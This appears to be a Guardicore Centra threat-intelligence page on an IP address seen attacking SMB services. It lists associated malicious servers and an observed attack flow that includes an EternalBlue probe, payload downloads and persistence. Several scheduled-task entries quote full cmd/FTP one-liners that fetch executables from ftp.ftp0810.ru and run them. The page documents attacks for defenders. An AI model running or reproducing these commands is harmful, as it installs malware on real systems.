IP Address: 197.157.255.100Malicious

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IP Address:
197.157.255.100​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Download File HTTP Cookie Hijacking SMB Null Session Login Download and Execute CMD Service Start Service Configuration SMB IDS - A Network Trojan was detected System File Modification Outgoing Connection Scheduled Task Creation Persistency - Image Hijack Service Creation Access Suspicious Domain File Operation By CMD

Associated Attack Servers

hosteons.com shell.loader0807.site neachers.com

172.83.155.170 104.233.207.172 45.58.135.106 103.106.250.161 137.175.56.104 77.73.69.34 217.195.153.116 103.124.105.246 139.5.177.32

Basic Information

IP Address

197.157.255.100

Domain

-

ISP

CongoTelecom

Country

Congo

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2020-02-24

Last seen in Guardicore Centra

2021-04-09

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started cmd as a service named larL under service group None

Service Creation Service Start

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 139.5.177.32:8032 and 217.195.153.116:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 137.175.56.104:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com

Access Suspicious Domain Outgoing Connection

System file C:\windows\Temp\wmi.bat was modified 4 times

System File Modification

C:\windows\Temp\wmi.bat was downloaded

Download File

System file c:\windows\temp\u.exe was modified 9 times

System File Modification

c:\windows\temp\u.exe was downloaded

Download File

C:\windows\Temp\ntuser.dat was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 172.83.155.170:80, 45.58.135.106:80 and 45.58.135.106:8888

Outgoing Connection

The file c:\windows\temp\conhoy.exe was downloaded and executed 4 times

Download and Execute

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

c:\windows\debug\item.dat was downloaded

Download File

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\cacls.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

Connection was closed due to user inactivity

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IP Address: 197.157.255.100​Malicious